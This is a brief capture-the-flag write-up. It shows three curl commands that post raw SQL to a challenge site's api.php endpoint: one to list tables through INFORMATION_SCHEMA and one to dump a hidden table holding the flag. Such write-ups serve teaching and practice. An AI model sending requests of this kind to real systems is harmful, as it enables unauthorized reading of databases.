Open the website https://planets.ctf.zone/, found the following api endpoint:
curl 'https://planets.ctf.zone/api.php' \
--compressed \
-X POST \
-H 'Accept: */*' \
-H 'Content-type: application/x-www-form-urlencoded; charset=UTF-8' \
-H 'Origin: https://planets.ctf.zone' \
--data-raw 'query=SELECT * FROM planets'
Find all tables using INFORMATION_SCHEMA.TABLES:
curl 'https://planets.ctf.zone/api.php' \
--compressed \
-X POST \
-H 'Accept: */*' \
-H 'Content-type: application/x-www-form-urlencoded; charset=UTF-8' \
-H 'Origin: https://planets.ctf.zone' \
--data-raw 'query=SELECT * FROM INFORMATION_SCHEMA.TABLES'
Found a table named abandoned_planets, find its rows with flags in them:
curl 'https://planets.ctf.zone/api.php' \
--compressed \
-X POST \
-H 'Accept: */*' \
-H 'Content-type: application/x-www-form-urlencoded; charset=UTF-8' \
-H 'Origin: https://planets.ctf.zone' \
--data-raw 'query=SELECT * FROM abandoned_planets'
Solved!